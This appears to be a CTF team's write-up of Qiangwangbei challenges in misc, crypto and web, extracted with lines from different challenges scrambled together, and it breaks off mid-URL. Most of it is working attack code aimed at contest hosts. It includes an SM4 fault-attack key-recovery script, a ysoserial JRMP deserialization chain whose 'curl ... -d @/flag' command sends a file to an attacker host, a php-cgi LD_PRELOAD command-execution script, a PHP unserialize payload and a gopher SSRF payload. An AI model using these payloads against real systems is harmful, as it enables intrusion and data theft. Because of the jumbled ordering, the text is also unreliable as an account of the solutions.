balance += msg.value;
}
function getflag() public payable {
emit SendFlag(owner);
}
function kill() public {
require(msg.sender == owner);
selfdestruct(owner);
}
}
ipfs add -s size-26624 res.jpg
added QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7 res.jpg
Misc
miscstudy
http://39.99.247.28/fonts/1
直接用wireshark导入上面链接的log可以解开另一个http请求
https://www.qiangwangbei.com/images/4e5d47b2db53654959295bba216858932.png
有几段base64解出来有个3600位的奇怪的01串
后面还有另一个base64解出来是
3600位的01串是二维码扫出来的连接
链接:https://pan.baidu.com/s/1wVJ7d0RLW8Rj-HOTL9Shug提取码:1lms
stegdetect检测到steghide,用jphs解一下,爆破弱口令密码得到:power123
mac下面the unarchiver直接解开压缩包,拿到level5_is_aaa
flag{level1_begin_and_level2_is_come
level3_start_it
https://pan.baidu.com/s/1o43y4UGkm1eP-RViC25aOw
mrpt
level4_here_all
python crack.py level6.zip
reading zip files...
file found: level6.zip / 2.txt: crc = 0xeed7e184, size = 4
file found: level6.zip / 3.txt: crc = 0x289585af, size = 5
file found: level6.zip / 1.txt: crc = 0x9aeacc13, size = 5
compiling...
searching...
crc found: 0xeed7e184: "6_is"
crc found: 0x9aeacc13: "level"
crc found: 0x289585af: "n*=em"
crc found: 0x9aeacc13: "p**dx"
crc found: 0x289585af: "ready"
crc found: 0x9aeacc13: "M;f\x0c "
crc found: 0x289585af: "Ot-\x0c!"
crc found: 0x9aeacc13: "Qt:\x0d4"
crc found: 0x289585af: "S;q\x0d5"
crc found: 0x289585af: "?H\x5c\x09q"
done
level6.zip / 2.txt : '6_is'
level6.zip / 3.txt : 'n*=em'
level6.zip / 3.txt : 'ready'
level6.zip / 3.txt : 'Ot-\x0c!'
level6.zip / 3.txt : 'S;q\r5'
level6.zip / 3.txt : '?H\\\tq'
7.zip已知明文攻击拿到两张尺寸相同的图片,diff一下根据pattern猜测使用了盲水印,解开拿到
level7ishere和39.99.247.28/final_level
访问查看源码看到一个hint,另外前几行末尾包含多余空格和tab,猜测使用了snow隐写
Crypto
fault
sm4 fault attack
论文很多,有一篇有代码的
(https://github.com/guojuntang/sm4_dfa/blob/master/sm4_dfa.py),是random fault attack,
我们的条件更宽松,但限制了不能攻击最后一轮。
直接复用他的代码拿到flag。
level6.zip / 1.txt : 'level'
level6.zip / 1.txt : 'p**dx'
level6.zip / 1.txt : 'M;f\x0c '
level6.zip / 1.txt : 'Qt:\r4'
level6_isready
./snow -C -p "no one can find me" index.html
the_misc_examaaaaaaa_!!!}
拼起来
flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaal
evel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}
import random
from enum import Enum
from pwn import *
import fuckpy3
import itertools
context.log_level = 'debug'
FaultStatus = Enum('FaultStatus', 'Crash Loop NoFault MinorFault MajorFault
WrongFault round31Fault round30Fault round29Fault')
blockSize = 16
sliceSize = blockSize // 4
def xor(a, b): return list(map(lambda x, y: x ^ y, a, b))
def rotl(x, n): return ((x << n) & 0xffffffff) | ((x >> (32 - n)) & 0xffffffff)
def get_uint32_be(key_data): return ((key_data[0] << 24) | (key_data[1] << 16) |
(key_data[2] << 8) | (key_data[3]))
def get_uint32_le(key_data): return ((key_data[3] << 24) | (key_data[2] << 16) |
(key_data[1] << 8) | (key_data[0]))
def put_uint32_be(n): return [((n >> 24) & 0xff), ((n >> 16) & 0xff), ((n >> 8)
& 0xff), ((n) & 0xff)]
def bytes_to_list(data): return [i for i in data]
def list_to_bytes(data): return b''.join([bytes((i,)) for i in data])
def dump_byte(a): return print(''.join(map(lambda x: ('/x' if len(hex(x)) >= 4
else '/x0')+hex(x)[2:], a)))
def l_inv(c): return c ^ rotl(c, 2) ^ rotl(c, 4) ^ rotl(c, 8) ^ rotl(c, 12) ^
rotl(
c, 14) ^ rotl(c, 16) ^ rotl(c, 18) ^ rotl(c, 22) ^ rotl(c, 24) ^ rotl(c, 30)
def int2bytes(state, size): return (state).to_bytes(size, byteorder='big',
signed=False)
def bytes2int(state): return int.from_bytes(state, 'big', signed=False)
def intersect(a, b): return [val for val in a if val in b]
def singleState(a, index): return (a >> (index * 8)) & 0xff
def getSlices(block): return [(block >> (32 * i) & 0xffffffff)for i in range(0,
4)]
def byte2slices(state): return [get_uint32_be(state[i * 4: (i + 1) * 4]) for i
in range(4)]
def find_candidate_index(diff): return [i for i in range(4, len(diff)) if
diff[i] != b'\x00'][0] % 4
def check_diff(diffmap, n):
for i in range(n-1):
if diffmap[i] is not i:
return False
return True
SM4_ENCRYPT = 0
SM4_DECRYPT = 1
SM4_BOXES_TABLE = [
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28,
0xfb, 0x2c,
0x05, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26,
0x49, 0x86,
0x06, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b,
0x43, 0xed,
0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf,
0x94, 0xfa,
0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83,
0x59, 0x3c,
0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b,
0xf8, 0xeb,
0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1,
0xa2, 0x25,
0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87, 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3,
0x27, 0x52,
0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40,
0xc7, 0x38,
0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4,
0x9b, 0x34,
0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2,
0x2e, 0x82,
0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f, 0xd5, 0xdb,
0x37, 0x45,
0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d,
0x1b, 0xaf,
0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
0x0a, 0xc1,
0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4,
0xb0, 0x89,
0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e,
0xc6, 0x84,
0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7,
0xcb, 0x39,
0x48,
]
# System parameter
SM4_FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
# fixed parameter
SM4_CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
def gen_IN_table():
# Find {x: S(x) ^ S(x ^ diff_in) = diff_out } for all diff_in and diff_out
IN_table = [[[] for i in range(2 ** 8)]for j in range(2 ** 8)]
for diff_in in range(1, 2 ** 8):
for x in range(2 ** 8):
diff_out = SM4_BOXES_TABLE[x] ^ SM4_BOXES_TABLE[diff_in ^ x]
IN_table[diff_in][diff_out].append(x)
return IN_table
def recovery_key(last_round_key):
"""
last_round_key = [k31, k30, k29, k28] as input
"""
rk = [0] * 36
rk[32:] = last_round_key[::-1]
for i in range(31, -1, -1):
rk[i] = rk[i + 4] ^ round_key(rk[i + 1] ^ rk[i + 2] ^ rk[i + 3] ^ SM4_CK[i])
rk[:4] = xor(rk[:4], SM4_FK)
return rk
def get_masterKey(sk):
MK = b''.join(int2bytes(x, sliceSize) for x in sk[:4])
return MK
def round_key(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
rk = bb ^ (rotl(bb, 13)) ^ (rotl(bb, 23))
return rk
def set_key(key, mode):
key = bytes_to_list(key)
sk = [0] * 32
MK = [0, 0, 0, 0]
k = [0]*36
MK[0:4] = byte2slices(key)
k[0:4] = xor(MK[0:4], SM4_FK[0:4])
for i in range(32):
k[i + 4] = k[i] ^ (
round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
sk[i] = k[i + 4]
mode = mode
if mode == SM4_DECRYPT:
for idx in range(16):
t = sk[idx]
sk[idx] = sk[31 - idx]
sk[31 - idx] = t
return sk
def f_function(x0, x1, x2, x3, rk):
# "T algorithm" == "L algorithm" + "t algorithm".
# args: [in] a: a is a 32 bits unsigned value;
# return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
def sm4_l_t(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
c = bb ^ (rotl(bb, 2)) ^ (rotl(bb, 10)) ^ (rotl(bb, 18)) ^ (rotl(bb, 24))
return c
return (x0 ^ sm4_l_t(x1 ^ x2 ^ x3 ^ rk))
def round(sk, in_put):
out_put = []
ulbuf = [0]*36
ulbuf[0:4] = byte2slices(in_put)
for idx in range(32):
ulbuf[idx + 4] = f_function(ulbuf[idx], ulbuf[idx + 1], ulbuf[idx + 2],
ulbuf[idx + 3], sk[idx])
out_put += put_uint32_be(ulbuf[35])
out_put += put_uint32_be(ulbuf[34])
out_put += put_uint32_be(ulbuf[33])
out_put += put_uint32_be(ulbuf[32])
return out_put
def sm4_encrypt(in_put, sk):
in_put = bytes_to_list(in_put)
output = round(sk, in_put)
return list_to_bytes(output)
def gen_fault_cipher(in_put, sk, inject_round, verbose=1):
"""
Generate faulty cipher
:param in_put: the input plaintext, as byte
:param sk: key schedule, as int list
:param inject_round: the round for injecting fault
:param verbose: verbosity level
:return the faulty cipher, as byte
"""
in_put = bytes_to_list(in_put)
out_put = []
ulbuf = [0]*36
ulbuf[0:4] = byte2slices(in_put)
for idx in range(32):
if idx == inject_round:
# Simulate random fault and random offset of the fault
diff = random.randint(1, 2**8 - 1)
offset = random.randrange(0, 25, 8)
index = random.randint(1, 3)
if(verbose > 3):
print("round %d:Inject diff 0x%.2x at offset %d" % (inject_round, diff, offset))
ulbuf[idx + index] ^= diff << offset
ulbuf[idx + 4] = f_function(ulbuf[idx], ulbuf[idx + 1], ulbuf[idx + 2],
ulbuf[idx + 3], sk[idx])
out_put += put_uint32_be(ulbuf[35])
out_put += put_uint32_be(ulbuf[34])
out_put += put_uint32_be(ulbuf[33])
out_put += put_uint32_be(ulbuf[32])
return list_to_bytes(out_put)
def decrypt_round(in_put, last_round_key, verbose=1):
output = []
ulbuf = [0]*36
ulbuf[0:4] = byte2slices(in_put)
round_num = len(last_round_key)
for idx in range(round_num):
ulbuf[idx + 4] = f_function(ulbuf[idx], ulbuf[idx + 1], ulbuf[idx + 2],
ulbuf[idx + 3], last_round_key[idx])
if verbose > 3:
print("decrypt round in %d:%x" % (idx, ulbuf[idx + 4]))
output += put_uint32_be(ulbuf[round_num])
output += put_uint32_be(ulbuf[round_num + 1])
output += put_uint32_be(ulbuf[round_num + 2])
output += put_uint32_be(ulbuf[round_num + 3])
return list_to_bytes(output)
def crack_round(roundFaultList, ref, last_round_key=[], verbose=1):
"""
Crack the round key from the faulty cipher and correct cipher
:param roundFaultList: the list with faulty ciphers, as byte list
:param ref the correct: cipher, as byte
:param last_round_key: for decrypting the faulty cipher and correct cipher if
not empty, as int list
:param verbose: verbosity level
:return: the next round key or None if the key not intact
"""
if not last_round_key:
pass
else:
"""
if last round key is not empty: require to decrypt the cipher by it
"""
ref = decrypt_round(ref, last_round_key, verbose)
for index in range(len(roundFaultList)):
roundFaultList[index] = decrypt_round(roundFaultList[index], last_round_key,
verbose)
return crack_bytes(roundFaultList, ref, verbose)
def check(output, encrypt=None, verbose=1, init=False, _intern={}):
"""
Checks an output against a reference.
The first call to the function sets the internal reference as the given output
:param output: potentially faulty output
:param encrypt: True if encryption, False if decryption
:param verbose: verbosity level, prints only if verbose>2
:param init: if True, resets the internal reference as the given output
:returns: a FaultStatus and the index for cracking key
"""
if init:
_intern.clear()
if not _intern:
_intern['goldenref'] = output
if verbose > 2:
print("FI: record golden ref")
return (FaultStatus.NoFault, None)
if output == _intern['goldenref']:
if verbose > 2:
print("FI: no impact")
return (FaultStatus.NoFault, None)
#diff = int2bytes(output ^ _intern['goldenref'], blockSize)
diff = xor(output, _intern['goldenref'])
# record the index of difference
diffmap = [i for i in range(len(diff)) if diff[i] != 0]
diffsum = len(diffmap)
status = FaultStatus.Loop
"""
SM4 always put the updated data at left hand side,
so the fist four diff will never be equal to 0
"""
if diffsum == 5 or diffsum == 8 or diffsum == 9 or diffsum == 12 or diffsum ==
13:
"""
The target cipher in round 31 for analysising the round key always contains five
bytes difference
And the index of the four/eight/twelve difference indicates the position of the
S-BOX for cracking the key byte.
"""
if check_diff(diffmap, diffsum):
if verbose > 2:
if diffsum == 5:
print("FI: good candidate for round31!")
if diffsum == 9 or diffsum == 8:
print("FI: good candidate for round30!")
if diffsum == 13 or diffsum == 12:
print("FI: good candidate for round29!")
if diffsum == 5:
status = FaultStatus.round31Fault
if diffsum == 9 or diffsum == 8:
status = FaultStatus.round30Fault
if diffsum == 12 or diffsum == 13:
status = FaultStatus.round29Fault
# big endian int, transform the index
return (status, (3 - diffmap[diffsum - 1] % 4))
else:
if verbose > 2:
print("FI: wrong candidate (%2i)" % diffsum)
return (FaultStatus.WrongFault, None)
elif diffsum < 5:
if verbose > 2:
print("FI: too few impact (%2i)" % diffsum)
return (FaultStatus.MinorFault, None)
else:
if verbose > 2:
print("FI: too much impact (%2i)" % diffsum)
return (FaultStatus.MajorFault, None)
def get_candidates(faultCipher, ref, index, verbose=1):
"""
Get the key candidates
return the set of possible key bytes at this index
"""
# static variable: differential distribution table in SM4
if not hasattr(get_candidates, '_IN_TABLE'):
get_candidates._IN_TABLE = gen_IN_table()
faultCipher = bytes2int(faultCipher)
ref = bytes2int(ref)
ref_slice = getSlices(ref)
fault_slice = getSlices(faultCipher)
delta_C = xor(ref_slice, fault_slice)[3]
delta_B = l_inv(delta_C)
A = ref_slice[0] ^ ref_slice[1] ^ ref_slice[2]
A_star = fault_slice[0] ^ fault_slice[1] ^ fault_slice[2]
alpha = singleState(A ^ A_star, index)
beta = singleState(delta_B, index)
result = get_candidates._IN_TABLE[alpha][beta]
if result:
result = [singleState(A, index) ^ x for x in result]
else:
result = []
print("Error: empty key candidate!")
return result
def crack_bytes(roundFaultList, ref, verbose=1):
candidates = [[], [], [], []]
key = [None] * 4
_, index = check(ref, init=True)
for faultCipher in roundFaultList:
_, index = check(faultCipher)
if index is not None:
if key[index] is not None:
continue
else:
if verbose > 2:
print("bad fault cipher:")
dump_byte(faultCipher)
continue
if verbose > 1:
print("key index at %d" % (index))
c = get_candidates(faultCipher, ref, index, verbose)
if not candidates[index]:
# initial candidate state
candidates[index] = c
else:
candidates[index] = intersect(candidates[index], c)
# get the exact key
if (len(candidates[index]) == 1):
key[index] = candidates[index][0]
if verbose > 1:
print("Round key bytes recovered:")
print(''.join(["%02X" % x if x is not None else ".." for x in key]))
# check whether all key bytes have been recovered
for byte in key:
if(byte is None):
print("Only partly recovered:")
print(''.join(["%02X" % x if x is not None else ".." for x in key]))
return None
return get_uint32_le(key)
def foo():
masterKey = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'
in_put = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'
# last_round_key = [k31, k30, k29, k28]
#last_round_key = [0x9124a012, 0x01cf72e5 ,0x62293496, 0x428d3654]
sk = set_key(masterKey, SM4_ENCRYPT)
#print("fault output:")
r31 = [gen_fault_cipher(in_put, sk, 30) for i in range(30)]
r30 = [gen_fault_cipher(in_put, sk, 30) for i in range(30)]
r29 = [gen_fault_cipher(in_put, sk, 29) for i in range(30)]
r28 = [gen_fault_cipher(in_put, sk, 28) for i in range(30)]
last_round_key = []
key_schedule = []
last_round_key.append(crack_round(r31, ref))
last_round_key.append(crack_round(r30, ref, last_round_key))
last_round_key.append(crack_round(r29, ref, last_round_key))
last_round_key.append(crack_round(r28, ref, last_round_key))
key_schedule = recovery_key(last_round_key)
MK = get_masterKey(key_schedule)
print("Master Key found:")
dump_byte(MK)
def bar():
io = remote('39.101.134.52', 8006)
def passpow(postfix, res):
for answer in itertools.product(string.ascii_letters+string.digits, repeat=3):
answer = ''.join(answer).encode()
hashresult = hashlib.sha256(answer+postfix).hexdigest().encode()
if hashresult == res:
return answer
io.recvuntil("+")
postfix = io.recvuntil(")")[:-1]
io.recvuntil('== ')
res = io.recvuntil('\n')[:-1]
print(postfix, res)
answer = passpow(postfix, res)
print(answer)
io.sendlineafter(":", answer)
io.sendlineafter(":", "icqaf0ecae2322e454ba574617e58ef7")
io.recvuntil('your flag is\n')
cflag = io.recvuntil('\n')[:-1]
print(cflag)
in_put = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'
r31 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 31, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
io.recvuntil(":")
r31.append(io.recvuntil('\n')[:-1].unhex()[:16])
r30 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 31, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
io.recvuntil(":")
r30.append(io.recvuntil('\n')[:-1].unhex()[:16])
r29 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 30, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
modestudy
套娃题 都是基本的block cipher攻击方式
io.recvuntil(":")
r29.append(io.recvuntil('\n')[:-1].unhex()[:16])
r28 = []
for _ in range(30):
io.sendlineafter("> ", '2')
io.sendlineafter(":", in_put.hex())
r, f, p = 29, random.randint(0, 256), random.randint(0, 16)
io.sendlineafter(":", f"{r} {f} {p}")
io.recvuntil(":")
r28.append(io.recvuntil('\n')[:-1].unhex()[:16])
io.sendlineafter("> ", '1')
io.sendlineafter(":", in_put.hex())
io.recvuntil(":")
ref = io.recvuntil('\n')[:-1].unhex()[:16]
last_round_key = []
key_schedule = []
last_round_key.append(crack_round(r31, ref, verbose=3))
last_round_key.append(crack_round(r30, ref, last_round_key, verbose=3))
last_round_key.append(crack_round(r29, ref, last_round_key, verbose=3))
last_round_key.append(crack_round(r28, ref, last_round_key, verbose=3))
key_schedule = recovery_key(last_round_key)
MK = get_masterKey(key_schedule)
print("Master Key found:")
print(MK.hex())
print(cflag)
# dump_byte(MK)
io.interactive()
bar()
# foo()
from zio import *
import string
import random
import hashlib
import time
def passpow(io, difficulty):
io.read_until("[+] sha256(")
prefix = io.read_until("+")[:-1]
while 1:
answer = ''.join(random.choice(string.ascii_letters + string.digits) for
i in range(8))
hashresult = hashlib.sha256(prefix+answer).digest()
bits = ''.join(bin(ord(j))[2:].zfill(8) for j in hashresult)
if bits.startswith('0'*difficulty):
io.read_until("=")
io.writeline(answer)
return
ip = '106.14.66.172'
target = (ip, 7777)
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
passpow(io, 5)
io.read_until("=")
io.writeline('icqaf0ecae2322e454ba574617e58ef7')
# challenge 1
io.read_until("your choice:")
io.writeline("1")
io.read_until("cookie:")
prefix = io.read_until("admin=0")
checksum = io.read_until('\n').strip().split('=')[1]
checksum = checksum[:30] + hex(int(checksum[30:32], 16) ^ 1)[2:] + checksum[32:]
io.writeline(prefix+";checksum="+checksum)
# challenge 2
io.read_until("your choice:")
io.writeline("2")
io.read_until("your choice:")
io.writeline("2")
io.writeline('413fb6edfd833cac1e78a1811fc3db10')
# challenge 3
io.read_until("your choice:")
io.writeline("3")
io.read_until("(cookie):")
checksum = io.read_until("\n").strip()
checksum = checksum[:64] + checksum[128:160] + checksum[96:]
io.writeline(checksum)
# challenge 4
io.read_until("your choice:")
io.writeline("4")
io.read_until("your choice:")
io.writeline("2")
io.writeline('405966114e5aae131bf7685b8f291043')
# secret = '405966114e5aae131bf7685b8f291043'
# while len(secret) < 32:
# io.read_until("your choice:")
# io.writeline("1")
# io.read_until("(encode hex):")
# base = "00"*(15-len(secret)//2)
# io.writeline(base)
# io.read_until("encrypted msg: ")
# cipher = io.read_until('\n').strip()
# standard = cipher[:32]
# for i in range(256):
# io.read_until("your choice:")
# io.writeline("1")
# io.read_until("(encode hex):")
# io.writeline(base+secret+hex(i)[2:].zfill(2))
# io.read_until("encrypted msg: ")
# cipher = io.read_until('\n').strip()
# if cipher[:32] == standard:
# secret += hex(i)[2:].zfill(2)
# break
# print(secret)
# challenge 5
io.read_until("your choice:")
io.writeline("5")
io.read_until("your choice:")
io.writeline("2")
io.writeline("dbd677b7292c9736b91b2b0a650a166b")
# io.read_until("your choice:")
# io.writeline("1")
# res = ''
# cipher0 = '7a2223cd4c2bd5ad5723c8a8129898f2'
# for i in range(256):
# for j in range(256):
# res += hex(i)[2:].zfill(2)+hex(j)[2:].zfill(2)
# io.writeline(res)
# io.read_until("encode(\"hex\"):")
# cipher = io.read_until('\n').strip()
# print(len(cipher))
# lut = {}
# for i in range(0, len(cipher), 4):
# lut[cipher[i:i+4]] = res[i:i+4]
# secret = ''
# for i in range(0, len(cipher0), 4):
# secret += lut[cipher0[i:i+4]]
# print(secret)
# challenge 6
io.read_until("your choice:")
io.writeline("6")
io.read_until("your choice:")
io.writeline("2")
io.writeline("f30314b95d89057dc9bd2116cf27dc0f")
# success = []
# for idx in range(1, 17):
# for i in range(256):
# io.writeline("1")
# iv = '31' * (16-idx) + hex(i)[2:].zfill(2) + ''.join([hex(elem ^ idx)
[2:].zfill(2) for elem in success][-(idx-1):])
# cipher = '9343c9e1c03e51580d799e8f416e3eac'
# io.writeline(iv+cipher)
# res = io.read_until("your choice:")
# if not 'error' in res:
# success = [i ^ idx] + success
# print(success)
# break
# print(success)
Web
easy_java
没有过滤java.rmi.server.RemoteObject,UnicastRef没有被序列化,可以直接jrmp。
babewp
http://39.99.249.211,to be lowkey
用.php结尾handler会丢给php-cgi,然后存在环境变量污染,只需get请求参数即可。指定
SCRIPT_FILENAME 为environ获取临时tmp文件名,再利用ld_preload 加载恶意so,或者
SCRIPT_FILENAME执行任意php
# print(''.join([hex(elem)[2:].zfill(2) for elem in success]))
io.interact()
ysoserial JRMPClient vps:8012>exploit.txt
import requests
url = "http://39.101.166.142:8080/jdk_der"
with open ("exploit.txt", "rb") as f:
data = f.read()
requests.post(url, data=data)
java -cp ysoserial-JRMPServer-0.0.1-all.jar ysoserial.exploit.JRMPListener 8012
CommonsCollections7 'curl http:///vps:8013/ -d @/flag'
nc -lvvp 8013
import requests
from urllib.parse import quote
from base64 import b64encode
from pwn import *
#context.log_level = 'debug'
def upload_shell():
拿到shell权限是nobody,看到socat启了一个ctf
可以使用unix sock进行通信
burp0_url = "http://39.99.249.211:80/a.php?
SCRIPT_FILENAME=/proc/self/environ&LD_PRELOAD=/etc/passwd"
files = {'file': open('bypass_disablefunc_x64.so', 'rb')}
a=requests.post(burp0_url, files=files)
#print(a.text)
shell_dir = a.text.split('FILE_FILENAME_FILE=')[1].split('FILE_SIZE_FILE')
[0].replace('\x00','')
print(shell_dir)
return shell_dir
import os
def excute_cmd(cmd, shell_dir):
body = '''GET /c.php?
SCRIPT_FILENAME=/etc/passwd&LD_PRELOAD='''+shell_dir+'''&EVIL_CMDLINE='''+quote(
cmd)+''' HTTP/1.1
Host: 39.99.249.211
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
'''
body = body.replace("\n","\r\n")
print(body)
p = remote('39.99.249.211',80)
p.send(body)
print(p.recvuntil('root:x:0:').decode("utf-8").replace('HTTP/1.1 200
OK',''))
#get shell_dir
#upload_shell()
shell_dir = '/tmp/httpd-19-36420-1.tmp'
excute_cmd("ls -al /",shell_dir)
一个算法题,而且有回答时间限制
发现在较短时间内,启用两次通讯得到的题目一样
所以可以利用A B两次通讯,A里面随便输入个answer,等待返回correct answer,然后再发送给B。
在时间限制内答对就可拿到flag,可以写个脚本操作。
<?php
$sock1 = stream_socket_client('unix:///tmp/ctf', $errno, $errst);
$resp = fread($sock1, 4096);
fwrite($sock1, '1\n');
$resp = fread($sock1, 4096);
$ans = explode(" ", $resp)[4];
half_infiltration
var_dump($ans);
$sock2 = stream_socket_client('unix:///tmp/ctf', $errno, $errst);
$resp = fread($sock2, 4096);
echo $resp;
fwrite($sock2, $ans);
$resp = fread($sock2, 4096);
echo $resp;
$resp = fread($sock2, 4096);
echo $resp;
$resp = fread($sock2, 4096);
echo $resp;
fclose($sock1);
fclose($sock2);
?>
<?php
highlight_file(__FILE__);
$flag=file_get_contents('ssrf.php');
class Pass
{
function read()
{
ob_start();
global $result;
print $result;
}
}
class User
{
public $age,$sex,$num;
function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}
<?php
class Pass {}
class User
http://39.98.131.124/?x=a:3:{i:0;O:4:"User":3:{s:3:"age";O:4:"Pass":0:
{}s:3:"sex";s:4:"read";s:3:"num";s:6:"result";}i:1;O:4:"User":3:{s:3:"age";O:4:"Pass":0:
{}s:3:"sex";s:4:"read";s:3:"num";s:4:"this";}i:2;s:4:"AAAA";}
写shell:
{
public $age;
public $sex;
public $num;
function __construct($age, $sex, $num) {
$this->age = $age;
$this->sex = $sex;
$this->num = $num;
}
}
$data = new User(new Pass(), "read", "result");
$data2 = new User(new Pass(), "read", "this");
$payload = array($data, $data2, "AAAA");
$aaa = serialize($payload);
echo $aaa;
dice2cry
http://106.14.66.189/
abi.php.bak拿到源码 需要post ”this_is.able“ 然后就是简单的lsb_oracle了
https://bugs.php.net/bug.php?id=78236
http://39.98.131.124/ssrf.php?
we_have_done_ssrf_here_could_you_help_to_continue_it=gopher%3A%2F%2F172.26.98.14
7%3A40000%2F_%250D%250APOST%2520%2Findex.php%2520HTTP%2F1.1%250D%250AHost%253A%2
520172.26.98.147%253A40000%250D%250AContent-Length%253A%252098%250D%250ACache-
Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-
Requests%253A%25201%250D%250AOrigin%253A%2520http%253A%2F%2F39.98.131.124%250D%2
50AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AUser-
Agent%253A%2520Mozilla%2F5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%25
20X%252010_15_5%2529%2520AppleWebKit%2F537.36%2520%2528KHTML%252C%2520like%2520G
ecko%2529%2520Chrome%2F84.0.4147.135%2520Safari%2F537.36%250D%250AAccept%253A%25
20text%2Fhtml%252Capplication%2Fxhtml%252Bxml%252Capplication%2Fxml%253Bq%253D0.
9%252Cimage%2Fwebp%252Cimage%2Fapng%252C%252A%2F%252A%253Bq%253D0.8%252Capplicat
ion%2Fsigned-
exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A%2F%2F39.
98.131.124%2Fssrf.php%253Fwe_have_done_ssrf_here_could_you_help_to_continue_it%2
53Dhttp%253A%2F%2F172.26.98.147%253A40000%2F%250D%250AAccept-
